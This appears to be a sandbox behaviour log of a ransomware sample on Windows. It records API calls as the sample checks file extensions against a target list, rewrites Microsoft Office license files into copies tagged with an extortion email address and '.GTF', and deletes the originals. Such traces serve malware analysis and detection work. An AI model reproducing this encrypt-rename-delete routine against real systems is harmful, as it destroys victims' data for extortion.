	[0182.929] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.929] lstrlenW (lpString=".pdf") returned 4
	[0182.929] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".xls") returned 4
	[0182.929] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".xlsx") returned 5
	[0182.929] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.929] lstrlenW (lpString=".ppt") returned 4
	[0182.929] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".zip") returned 4
	[0182.929] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".rar") returned 4
	[0182.929] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".bz2") returned 4
	[0182.929] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.929] lstrlenW (lpString=".7z") returned 3
	[0182.929] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.929] lstrlenW (lpString=".dbf") returned 4
	[0182.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.930] lstrlenW (lpString=".1cd") returned 4
	[0182.930] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms") returned 75
	[0182.930] lstrlenW (lpString=".jpg") returned 4
	[0182.930] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.930] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.930] lstrlenW (lpString="OneNoteR_Trial-pl.xrm-ms") returned 24
	[0182.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.931] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11147) returned 1
	[0182.931] CloseHandle (hObject=0x504) returned 1
	[0182.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms")) returned 0x220
	[0182.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.931] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.931] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.932] GetLastError () returned 0x0
	[0182.932] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0182.934] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0182.935] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.935] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x104, lpOverlapped=0x0) returned 1
	[0182.935] SetEndOfFile (hFile=0x378) returned 1
	[0182.936] CloseHandle (hObject=0x378) returned 1
	[0182.936] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.936] SetEndOfFile (hFile=0x504) returned 1
	[0182.938] CloseHandle (hObject=0x504) returned 1
	[0182.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms")) returned 1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".doc") returned 4
	[0182.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".docx") returned 5
	[0182.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.940] lstrlenW (lpString=".pdf") returned 4
	[0182.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".xls") returned 4
	[0182.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".xlsx") returned 5
	[0182.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.940] lstrlenW (lpString=".ppt") returned 4
	[0182.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".zip") returned 4
	[0182.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".rar") returned 4
	[0182.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".bz2") returned 4
	[0182.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString=".7z") returned 3
	[0182.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".dbf") returned 4
	[0182.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".1cd") returned 4
	[0182.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".jpg") returned 4
	[0182.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.940] lstrlenW (lpString=".doc") returned 4
	[0182.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".docx") returned 5
	[0182.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.941] lstrlenW (lpString=".pdf") returned 4
	[0182.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".xls") returned 4
	[0182.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".xlsx") returned 5
	[0182.941] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.941] lstrlenW (lpString=".ppt") returned 4
	[0182.941] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.941] lstrlenW (lpString=".zip") returned 4
	[0182.941] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".rar") returned 4
	[0182.941] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".bz2") returned 4
	[0182.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString=".7z") returned 3
	[0182.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.941] lstrlenW (lpString=".dbf") returned 4
	[0182.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.941] lstrlenW (lpString=".1cd") returned 4
	[0182.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74
	[0182.941] lstrlenW (lpString=".jpg") returned 4
	[0182.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.941] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.941] lstrlenW (lpString="OneNoteR_Trial-ppd.xrm-ms") returned 25
	[0182.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.942] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=21025) returned 1
	[0182.942] CloseHandle (hObject=0x504) returned 1
	[0182.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms")) returned 0x220
	[0182.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.943] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.943] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.944] GetLastError () returned 0x0
	[0182.944] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5221, lpOverlapped=0x0) returned 1
	[0182.946] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5230, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5230, lpOverlapped=0x0) returned 1
	[0182.947] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.947] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0182.947] SetEndOfFile (hFile=0x378) returned 1
	[0182.947] CloseHandle (hObject=0x378) returned 1
	[0182.947] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.947] SetEndOfFile (hFile=0x504) returned 1
	[0182.951] CloseHandle (hObject=0x504) returned 1
	[0182.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms")) returned 1
	[0182.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.952] lstrlenW (lpString=".doc") returned 4
	[0182.952] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.952] lstrlenW (lpString=".docx") returned 5
	[0182.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.953] lstrlenW (lpString=".pdf") returned 4
	[0182.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString=".xls") returned 4
	[0182.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString=".xlsx") returned 5
	[0182.953] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.953] lstrlenW (lpString=".ppt") returned 4
	[0182.953] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString=".zip") returned 4
	[0182.953] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString=".rar") returned 4
	[0182.953] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString=".bz2") returned 4
	[0182.953] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString=".7z") returned 3
	[0182.953] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString=".dbf") returned 4
	[0182.953] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString=".1cd") returned 4
	[0182.953] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString=".jpg") returned 4
	[0182.953] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.953] lstrlenW (lpString=".doc") returned 4
	[0182.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".docx") returned 5
	[0182.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.954] lstrlenW (lpString=".pdf") returned 4
	[0182.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".xls") returned 4
	[0182.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".xlsx") returned 5
	[0182.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.954] lstrlenW (lpString=".ppt") returned 4
	[0182.954] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.954] lstrlenW (lpString=".zip") returned 4
	[0182.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".rar") returned 4
	[0182.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".bz2") returned 4
	[0182.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString=".7z") returned 3
	[0182.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.954] lstrlenW (lpString=".dbf") returned 4
	[0182.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.954] lstrlenW (lpString=".1cd") returned 4
	[0182.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75
	[0182.954] lstrlenW (lpString=".jpg") returned 4
	[0182.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.954] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.954] lstrlenW (lpString="OneNoteR_Trial-ul-oob.xrm-ms") returned 28
	[0182.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.955] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11596) returned 1
	[0182.955] CloseHandle (hObject=0x504) returned 1
	[0182.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms")) returned 0x220
	[0182.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.956] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.956] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.957] GetLastError () returned 0x0
	[0182.957] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d4c, lpOverlapped=0x0) returned 1
	[0183.219] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0183.220] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.220] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0183.220] SetEndOfFile (hFile=0x378) returned 1
	[0183.221] CloseHandle (hObject=0x378) returned 1
	[0183.221] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.221] SetEndOfFile (hFile=0x504) returned 1
	[0183.224] CloseHandle (hObject=0x504) returned 1
	[0183.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms")) returned 1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString=".doc") returned 4
	[0183.226] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".docx") returned 5
	[0183.226] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.226] lstrlenW (lpString=".pdf") returned 4
	[0183.226] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".xls") returned 4
	[0183.226] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".xlsx") returned 5
	[0183.226] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.226] lstrlenW (lpString=".ppt") returned 4
	[0183.226] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString=".zip") returned 4
	[0183.226] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".rar") returned 4
	[0183.226] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".bz2") returned 4
	[0183.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString=".7z") returned 3
	[0183.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString=".dbf") returned 4
	[0183.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString=".1cd") returned 4
